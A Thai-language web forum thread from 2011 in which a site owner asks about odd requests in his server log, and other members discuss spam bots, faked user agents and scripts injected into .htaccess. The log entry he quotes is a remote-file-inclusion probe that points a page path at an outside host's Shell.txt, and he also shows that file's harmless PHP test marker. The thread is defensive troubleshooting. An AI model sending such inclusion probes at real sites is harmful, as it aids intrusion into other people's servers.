Register Register Member Login Member Login Member Login Forgot Password ??
PHP , ASP , ASP.NET, VB.NET, C#, Java , jQuery , Android , iOS , Windows Phone
 

Registered : 107,936

HOME > Community Zone > Forum > มีการเรียก url แปลกๆเข้ามาในเว็บด้วย



 

มีการเรียก url แปลกๆเข้ามาในเว็บด้วย

 



Topic : 066333



โพสกระทู้ ( 3,546 )
บทความ ( 8 )



สถานะออฟไลน์




ผมลองดู log ของเว็บ มีเรียกเข้ามาแบบนี้
85.101.122.96 user agent เป็น 0 คือไม่มีไรเลย มาแค่ 0
เรียกเพจ http://www.okvee.net/ok-vee-web-starter-kit/=http:/parascape.org/Shell.txt
พอผมเปิดเข้าไปดูว่ามันคืออะไร
Code
http://parascape.org/Shell.txt

ก็พบว่าข้างในเป็น


Code (PHP)
<?php
$invulnerable="RFI_SUCCESSFUL";
echo $invulnerable;
?>



ในเว็บทั่วไปมันมีช่องโหว่แบบนี้ด้วยเหรอครับ?
ของผมใช้ codeigniter ตรวจ uri อย่างละเอียด มันเลยกลายเป็น 404 ไปเพราะ url ทั้งหมดมันไม่ตรง



แล้วมันจะมีอีกพวก พวก spammer
พวกนี้จะมาเป็น user agent ie6 บ้าง ie2 win 95 บ้าง เรียกมาที่ /forum ของเว็บผม
ซึ่ง /forum นี้เคยติดตั้ง smf ดูช่วงหนึ่ง และเจอสแปมเยอะมาก เลยลบออก (404) แต่มันก็ยังมากันเรื่อยๆเลย จากแถบยุโรป
พวกนี้มันมี software กันหรือครับ?
มันเหมือนกับใช้ software ตัวเดียวกัน ส่ง url สำหรับ spam เว็บต่างๆไปทั่วๆถึงกัน แล้วปลอม user agent กันหมดเลย



Tag : - - - -









ประวัติการแก้ไข
2011-09-10 23:38:42
2011-09-10 23:43:23
Move To Hilight (Stock) 
Send To Friend.Bookmark.
Date : 2011-09-10 23:36:39 By : mr.v View : 1245 Reply : 4
 

 

No. 1



โพสกระทู้ ( 74,025 )
บทความ ( 838 )

สมาชิกที่ใส่เสื้อไทยครีเอท

สถานะออฟไลน์
Twitter Facebook

เรื่องปลอม agent นี่เคยเจอปลอมเป็น Googlebot มาดูดเว็บครับ ตอนนี้เลยใช้การเช็ค HOST Name แทนครับ ส่วนเรื่อง Spammer น่าจะกันยากครับ แต่ถ้าเช็ค Data ที่นำเข้าทุกตัว น่าจะสามารถป้องกันได้ในระดับหนึ่งครับ

เข้าใจว่าพวกนี้คงจะมี Server เอาเป็นเหมือน Spam bot ครับ ไต่ไปตามเว็บต่าง ๆ ครับ เจอช่องโหว่เว็บไหนก็ถล่มเว็บนั้น






แสดงความคิดเห็นโดยอ้างถึง ความคิดเห็นนี้
Date : 2011-09-11 07:20:07 By : webmaster
 


 

No. 2



โพสกระทู้ ( 74,025 )
บทความ ( 838 )

สมาชิกที่ใส่เสื้อไทยครีเอท

สถานะออฟไลน์
Twitter Facebook

เคยเจอแทรก scirpt ใน .htaccess ครับ น่ากลัวจริง ๆ
แสดงความคิดเห็นโดยอ้างถึง ความคิดเห็นนี้
Date : 2011-09-12 11:53:05 By : webmaster
 

 

No. 3



โพสกระทู้ ( 3,546 )
บทความ ( 8 )



สถานะออฟไลน์


แทรกใน .htaccess นี่ต้องอัพโหลดเข้าไปเองหรือโดนไวรัสไม่ใช่เหรอครับ?
แสดงความคิดเห็นโดยอ้างถึง ความคิดเห็นนี้
Date : 2011-09-12 16:44:40 By : mr.v
 


 

No. 4



โพสกระทู้ ( 74,025 )
บทความ ( 838 )

สมาชิกที่ใส่เสื้อไทยครีเอท

สถานะออฟไลน์
Twitter Facebook

น่าจะประมาณนั้นครับ
แสดงความคิดเห็นโดยอ้างถึง ความคิดเห็นนี้
Date : 2011-09-12 18:08:48 By : webmaster
 

   

ค้นหาข้อมูล


   
 

แสดงความคิดเห็น
Re : มีการเรียก url แปลกๆเข้ามาในเว็บด้วย
 
 
รายละเอียด
 
ตัวหนา ตัวเอียง ตัวขีดเส้นใต้ ตัวมีขีดกลาง| ตัวเรืองแสง ตัวมีเงา ตัวอักษรวิ่ง| จัดย่อหน้าอิสระ จัดย่อหน้าชิดซ้าย จัดย่อหน้ากึ่งกลาง จัดย่อหน้าชิดขวา| เส้นขวาง| ขนาดตัวอักษร แบบตัวอักษร
ใส่แฟลช ใส่รูป ใส่ไฮเปอร์ลิ้งค์ ใส่อีเมล์ ใส่ลิ้งค์ FTP| ใส่แถวของตาราง ใส่คอลัมน์ตาราง| ตัวยก ตัวห้อย ตัวพิมพ์ดีด| ใส่โค้ด ใส่การอ้างถึงคำพูด| ใส่ลีสต์
smiley for :lol: smiley for :ken: smiley for :D smiley for :) smiley for ;) smiley for :eek: smiley for :geek: smiley for :roll: smiley for :erm: smiley for :cool: smiley for :blank: smiley for :idea: smiley for :ehh: smiley for :aargh: smiley for :evil:
Insert PHP Code
Insert ASP Code
Insert VB.NET Code Insert C#.NET Code Insert JavaScript Code Insert C#.NET Code
Insert Java Code
Insert Android Code
Insert Objective-C Code
Insert XML Code
Insert SQL Code
Insert Code
เพื่อความเรียบร้อยของข้อความ ควรจัดรูปแบบให้พอดีกับขนาดของหน้าจอ เพื่อง่ายต่อการอ่านและสบายตา และตรวจสอบภาษาไทยให้ถูกต้อง

อัพโหลดแทรกรูปภาพ

Notice

เพื่อความปลอดภัยของเว็บบอร์ด ไม่อนุญาติให้แทรก แท็ก [img]....[/img] โดยการอัพโหลดไฟล์รูปจากที่อื่น เช่นเว็บไซต์ ฟรีอัพโหลดต่าง ๆ
อัพโหลดแทรกรูปภาพ ให้ใช้บริการอัพโหลดไฟล์ของไทยครีเอท และตัดรูปภาพให้พอดีกับสกรีน เพื่อความโหลดเร็วและไฟล์ไม่ถูกลบทิ้ง

   
  เพื่อความปลอดภัยและการตรวจสอบ กระทู้ที่แทรกไฟล์อัพโหลดไฟล์จากที่อื่น อาจจะถูกลบทิ้ง
 
โดย
อีเมล์
บวกค่าให้ถูก
<= ตัวเลขฮินดูอารบิก เช่น 123 (หรือล็อกอินเข้าระบบสมาชิกเพื่อไม่ต้องกรอก)







Exchange: Voake, Comcube, รับทำเว็บไซต์ รับเขียนโปรแกรม

Load balance : Server 02
ThaiCreate.Com Logo
© www.ThaiCreate.Com. 2003-2019 All Rights Reserved.
ไทยครีเอทบริการ จัดทำดูแลแก้ไข Web Application ทุกรูปแบบ (PHP, .Net Application, VB.Net, C#)
[Conditions Privacy Statement] ติดต่อโฆษณา 081-987-6107 , 08-9968-0655 อัตราราคา คลิกที่นี่